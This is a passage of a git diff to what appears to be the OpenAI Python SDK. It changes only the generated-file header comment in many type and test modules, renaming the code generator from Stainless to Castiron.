-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/video_extend_params.py b/src/openai/types/video_extend_params.py
index 65be4b5270..09f3ca0741 100644
--- a/src/openai/types/video_extend_params.py
+++ b/src/openai/types/video_extend_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/video_get_character_response.py b/src/openai/types/video_get_character_response.py
index df6202ed03..f9468eff7c 100644
--- a/src/openai/types/video_get_character_response.py
+++ b/src/openai/types/video_get_character_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/video_list_params.py b/src/openai/types/video_list_params.py
index bf55ba7fa2..102d0add9b 100644
--- a/src/openai/types/video_list_params.py
+++ b/src/openai/types/video_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/video_model.py b/src/openai/types/video_model.py
index 29d8cb16eb..6a17c301d2 100644
--- a/src/openai/types/video_model.py
+++ b/src/openai/types/video_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/video_model_param.py b/src/openai/types/video_model_param.py
index 4310b8d057..7c3a1fb9fc 100644
--- a/src/openai/types/video_model_param.py
+++ b/src/openai/types/video_model_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/video_remix_params.py b/src/openai/types/video_remix_params.py
index 15388d6172..6184b2f6f7 100644
--- a/src/openai/types/video_remix_params.py
+++ b/src/openai/types/video_remix_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/video_seconds.py b/src/openai/types/video_seconds.py
index e50d37dc51..b5ec38b0f8 100644
--- a/src/openai/types/video_seconds.py
+++ b/src/openai/types/video_seconds.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/video_size.py b/src/openai/types/video_size.py
index 215ac8815a..2f8724528e 100644
--- a/src/openai/types/video_size.py
+++ b/src/openai/types/video_size.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/webhooks/__init__.py b/src/openai/types/webhooks/__init__.py
index 0ef3fa2236..d83daf3d50 100644
--- a/src/openai/types/webhooks/__init__.py
+++ b/src/openai/types/webhooks/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/webhooks/batch_cancelled_webhook_event.py b/src/openai/types/webhooks/batch_cancelled_webhook_event.py
index 9d1c485f5e..59d6a02ffe 100644
--- a/src/openai/types/webhooks/batch_cancelled_webhook_event.py
+++ b/src/openai/types/webhooks/batch_cancelled_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/batch_completed_webhook_event.py b/src/openai/types/webhooks/batch_completed_webhook_event.py
index 5ae8191789..57ef20e842 100644
--- a/src/openai/types/webhooks/batch_completed_webhook_event.py
+++ b/src/openai/types/webhooks/batch_completed_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/batch_expired_webhook_event.py b/src/openai/types/webhooks/batch_expired_webhook_event.py
index 2f08a7f579..df58aa5ffd 100644
--- a/src/openai/types/webhooks/batch_expired_webhook_event.py
+++ b/src/openai/types/webhooks/batch_expired_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/batch_failed_webhook_event.py b/src/openai/types/webhooks/batch_failed_webhook_event.py
index 7166616588..df443fe7ef 100644
--- a/src/openai/types/webhooks/batch_failed_webhook_event.py
+++ b/src/openai/types/webhooks/batch_failed_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/eval_run_canceled_webhook_event.py b/src/openai/types/webhooks/eval_run_canceled_webhook_event.py
index 1948f8933b..09d3900899 100644
--- a/src/openai/types/webhooks/eval_run_canceled_webhook_event.py
+++ b/src/openai/types/webhooks/eval_run_canceled_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/eval_run_failed_webhook_event.py b/src/openai/types/webhooks/eval_run_failed_webhook_event.py
index 4e4c860abc..e8e8e24af6 100644
--- a/src/openai/types/webhooks/eval_run_failed_webhook_event.py
+++ b/src/openai/types/webhooks/eval_run_failed_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/eval_run_succeeded_webhook_event.py b/src/openai/types/webhooks/eval_run_succeeded_webhook_event.py
index c20f22eeb9..8107c4ea27 100644
--- a/src/openai/types/webhooks/eval_run_succeeded_webhook_event.py
+++ b/src/openai/types/webhooks/eval_run_succeeded_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/fine_tuning_job_cancelled_webhook_event.py b/src/openai/types/webhooks/fine_tuning_job_cancelled_webhook_event.py
index 0cfff85dad..195e62c232 100644
--- a/src/openai/types/webhooks/fine_tuning_job_cancelled_webhook_event.py
+++ b/src/openai/types/webhooks/fine_tuning_job_cancelled_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/fine_tuning_job_failed_webhook_event.py b/src/openai/types/webhooks/fine_tuning_job_failed_webhook_event.py
index 0eb6bf954f..15bc33eee8 100644
--- a/src/openai/types/webhooks/fine_tuning_job_failed_webhook_event.py
+++ b/src/openai/types/webhooks/fine_tuning_job_failed_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/fine_tuning_job_succeeded_webhook_event.py b/src/openai/types/webhooks/fine_tuning_job_succeeded_webhook_event.py
index 26b5ea8955..f2c4f950e7 100644
--- a/src/openai/types/webhooks/fine_tuning_job_succeeded_webhook_event.py
+++ b/src/openai/types/webhooks/fine_tuning_job_succeeded_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/live_call_incoming_webhook_event.py b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
index 2fd4c03fdc..972265da6c 100644
--- a/src/openai/types/webhooks/live_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/live_call_incoming_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
index 2315f97654..47342ec8e4 100644
--- a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/response_cancelled_webhook_event.py b/src/openai/types/webhooks/response_cancelled_webhook_event.py
index cd791b3314..b98cff1f9f 100644
--- a/src/openai/types/webhooks/response_cancelled_webhook_event.py
+++ b/src/openai/types/webhooks/response_cancelled_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/response_completed_webhook_event.py b/src/openai/types/webhooks/response_completed_webhook_event.py
index cf07f0c2c0..781e3ceb90 100644
--- a/src/openai/types/webhooks/response_completed_webhook_event.py
+++ b/src/openai/types/webhooks/response_completed_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/response_failed_webhook_event.py b/src/openai/types/webhooks/response_failed_webhook_event.py
index aecb1b8f47..ee0dc2c2b7 100644
--- a/src/openai/types/webhooks/response_failed_webhook_event.py
+++ b/src/openai/types/webhooks/response_failed_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/response_incomplete_webhook_event.py b/src/openai/types/webhooks/response_incomplete_webhook_event.py
index 2367731e85..73659d54c2 100644
--- a/src/openai/types/webhooks/response_incomplete_webhook_event.py
+++ b/src/openai/types/webhooks/response_incomplete_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/webhooks/unwrap_webhook_event.py b/src/openai/types/webhooks/unwrap_webhook_event.py
index eefc6b1c7b..4cd9bac05b 100644
--- a/src/openai/types/webhooks/unwrap_webhook_event.py
+++ b/src/openai/types/webhooks/unwrap_webhook_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/websocket_connection_options.py b/src/openai/types/websocket_connection_options.py
index 519e434124..46d8f9be18 100644
--- a/src/openai/types/websocket_connection_options.py
+++ b/src/openai/types/websocket_connection_options.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/websocket_reconnection.py b/src/openai/types/websocket_reconnection.py
index 9ba66d0ca5..68b71545f0 100644
--- a/src/openai/types/websocket_reconnection.py
+++ b/src/openai/types/websocket_reconnection.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/__init__.py b/tests/api_resources/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/__init__.py
+++ b/tests/api_resources/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/admin/__init__.py b/tests/api_resources/admin/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/admin/__init__.py
+++ b/tests/api_resources/admin/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/admin/organization/__init__.py b/tests/api_resources/admin/organization/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/admin/organization/__init__.py
+++ b/tests/api_resources/admin/organization/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/admin/organization/groups/__init__.py b/tests/api_resources/admin/organization/groups/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/admin/organization/groups/__init__.py
+++ b/tests/api_resources/admin/organization/groups/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/admin/organization/groups/test_roles.py b/tests/api_resources/admin/organization/groups/test_roles.py
index 6f2235a468..6950d36f49 100644
--- a/tests/api_resources/admin/organization/groups/test_roles.py
+++ b/tests/api_resources/admin/organization/groups/test_roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/groups/test_users.py b/tests/api_resources/admin/organization/groups/test_users.py
index 5003db2ad1..9678e088ba 100644
--- a/tests/api_resources/admin/organization/groups/test_users.py
+++ b/tests/api_resources/admin/organization/groups/test_users.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/__init__.py b/tests/api_resources/admin/organization/projects/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/admin/organization/projects/__init__.py
+++ b/tests/api_resources/admin/organization/projects/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/admin/organization/projects/groups/__init__.py b/tests/api_resources/admin/organization/projects/groups/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/admin/organization/projects/groups/__init__.py
+++ b/tests/api_resources/admin/organization/projects/groups/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/admin/organization/projects/groups/test_roles.py b/tests/api_resources/admin/organization/projects/groups/test_roles.py
index 4e62facc55..08cc13843a 100644
--- a/tests/api_resources/admin/organization/projects/groups/test_roles.py
+++ b/tests/api_resources/admin/organization/projects/groups/test_roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/service_accounts/__init__.py b/tests/api_resources/admin/organization/projects/service_accounts/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/admin/organization/projects/service_accounts/__init__.py
+++ b/tests/api_resources/admin/organization/projects/service_accounts/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/admin/organization/projects/service_accounts/test_api_keys.py b/tests/api_resources/admin/organization/projects/service_accounts/test_api_keys.py
index e3517f0053..465c192140 100644
--- a/tests/api_resources/admin/organization/projects/service_accounts/test_api_keys.py
+++ b/tests/api_resources/admin/organization/projects/service_accounts/test_api_keys.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_api_keys.py b/tests/api_resources/admin/organization/projects/test_api_keys.py
index b2717c59d2..42c81c577a 100644
--- a/tests/api_resources/admin/organization/projects/test_api_keys.py
+++ b/tests/api_resources/admin/organization/projects/test_api_keys.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_certificates.py b/tests/api_resources/admin/organization/projects/test_certificates.py
index e242b7d6d4..35d6e03345 100644
--- a/tests/api_resources/admin/organization/projects/test_certificates.py
+++ b/tests/api_resources/admin/organization/projects/test_certificates.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_data_retention.py b/tests/api_resources/admin/organization/projects/test_data_retention.py
index d640e78e8d..15e8a02c63 100644
--- a/tests/api_resources/admin/organization/projects/test_data_retention.py
+++ b/tests/api_resources/admin/organization/projects/test_data_retention.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_groups.py b/tests/api_resources/admin/organization/projects/test_groups.py
index 46a68076df..ea9cf6982d 100644
--- a/tests/api_resources/admin/organization/projects/test_groups.py
+++ b/tests/api_resources/admin/organization/projects/test_groups.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_hosted_tool_permissions.py b/tests/api_resources/admin/organization/projects/test_hosted_tool_permissions.py
index d7d2486874..3d6904f447 100644
--- a/tests/api_resources/admin/organization/projects/test_hosted_tool_permissions.py
+++ b/tests/api_resources/admin/organization/projects/test_hosted_tool_permissions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_model_permissions.py b/tests/api_resources/admin/organization/projects/test_model_permissions.py
index 1749a70fa5..c92554f908 100644
--- a/tests/api_resources/admin/organization/projects/test_model_permissions.py
+++ b/tests/api_resources/admin/organization/projects/test_model_permissions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_rate_limits.py b/tests/api_resources/admin/organization/projects/test_rate_limits.py
index c06077614b..102684c246 100644
--- a/tests/api_resources/admin/organization/projects/test_rate_limits.py
+++ b/tests/api_resources/admin/organization/projects/test_rate_limits.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_roles.py b/tests/api_resources/admin/organization/projects/test_roles.py
index 862ea1f412..591459aec1 100644
--- a/tests/api_resources/admin/organization/projects/test_roles.py
+++ b/tests/api_resources/admin/organization/projects/test_roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_service_accounts.py b/tests/api_resources/admin/organization/projects/test_service_accounts.py
index 5b0daafb16..4e7bd62e3f 100644
--- a/tests/api_resources/admin/organization/projects/test_service_accounts.py
+++ b/tests/api_resources/admin/organization/projects/test_service_accounts.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_spend_alerts.py b/tests/api_resources/admin/organization/projects/test_spend_alerts.py
index ee53d014dd..0264715db2 100644
--- a/tests/api_resources/admin/organization/projects/test_spend_alerts.py
+++ b/tests/api_resources/admin/organization/projects/test_spend_alerts.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_spend_limit.py b/tests/api_resources/admin/organization/projects/test_spend_limit.py
index 625e0efb5e..14d26bb2c0 100644
--- a/tests/api_resources/admin/organization/projects/test_spend_limit.py
+++ b/tests/api_resources/admin/organization/projects/test_spend_limit.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/test_users.py b/tests/api_resources/admin/organization/projects/test_users.py
index 66005bf657..8db603eef6 100644
--- a/tests/api_resources/admin/organization/projects/test_users.py
+++ b/tests/api_resources/admin/organization/projects/test_users.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/projects/users/__init__.py b/tests/api_resources/admin/organization/projects/users/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/admin/organization/projects/users/__init__.py
+++ b/tests/api_resources/admin/organization/projects/users/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/admin/organization/projects/users/test_roles.py b/tests/api_resources/admin/organization/projects/users/test_roles.py
index 5212e5a59c..f9dbc3df7c 100644
--- a/tests/api_resources/admin/organization/projects/users/test_roles.py
+++ b/tests/api_resources/admin/organization/projects/users/test_roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_admin_api_keys.py b/tests/api_resources/admin/organization/test_admin_api_keys.py
index 3384ee32df..6666965226 100644
--- a/tests/api_resources/admin/organization/test_admin_api_keys.py
+++ b/tests/api_resources/admin/organization/test_admin_api_keys.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_audit_logs.py b/tests/api_resources/admin/organization/test_audit_logs.py
index cf60c407b3..1294d35e72 100644
--- a/tests/api_resources/admin/organization/test_audit_logs.py
+++ b/tests/api_resources/admin/organization/test_audit_logs.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_certificates.py b/tests/api_resources/admin/organization/test_certificates.py
index 209fd9220d..298671be36 100644
--- a/tests/api_resources/admin/organization/test_certificates.py
+++ b/tests/api_resources/admin/organization/test_certificates.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_data_retention.py b/tests/api_resources/admin/organization/test_data_retention.py
index 8d943832e6..43859c2eab 100644
--- a/tests/api_resources/admin/organization/test_data_retention.py
+++ b/tests/api_resources/admin/organization/test_data_retention.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_groups.py b/tests/api_resources/admin/organization/test_groups.py
index d97ddf579e..787ff77f22 100644
--- a/tests/api_resources/admin/organization/test_groups.py
+++ b/tests/api_resources/admin/organization/test_groups.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_invites.py b/tests/api_resources/admin/organization/test_invites.py
index ddad6e6e31..b555c5f365 100644
--- a/tests/api_resources/admin/organization/test_invites.py
+++ b/tests/api_resources/admin/organization/test_invites.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_projects.py b/tests/api_resources/admin/organization/test_projects.py
index 5e07ff1496..4e13ab7cfa 100644
--- a/tests/api_resources/admin/organization/test_projects.py
+++ b/tests/api_resources/admin/organization/test_projects.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_roles.py b/tests/api_resources/admin/organization/test_roles.py
index fbb8515f1c..36d2fdd003 100644
--- a/tests/api_resources/admin/organization/test_roles.py
+++ b/tests/api_resources/admin/organization/test_roles.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_spend_alerts.py b/tests/api_resources/admin/organization/test_spend_alerts.py
index 13e80d7afa..43c43ee7d9 100644
--- a/tests/api_resources/admin/organization/test_spend_alerts.py
+++ b/tests/api_resources/admin/organization/test_spend_alerts.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_spend_limit.py b/tests/api_resources/admin/organization/test_spend_limit.py
index 4dd601a4d4..1e2667bd72 100644
--- a/tests/api_resources/admin/organization/test_spend_limit.py
+++ b/tests/api_resources/admin/organization/test_spend_limit.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/admin/organization/test_usage.py b/tests/api_resources/admin/organization/test_usage.py
index b7aef88dcb..92028ae17b 100644
--- a/tests/api_resources/admin/organization/test_usage.py
+++ b/tests/api_resources/admin/organization/test_usage.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
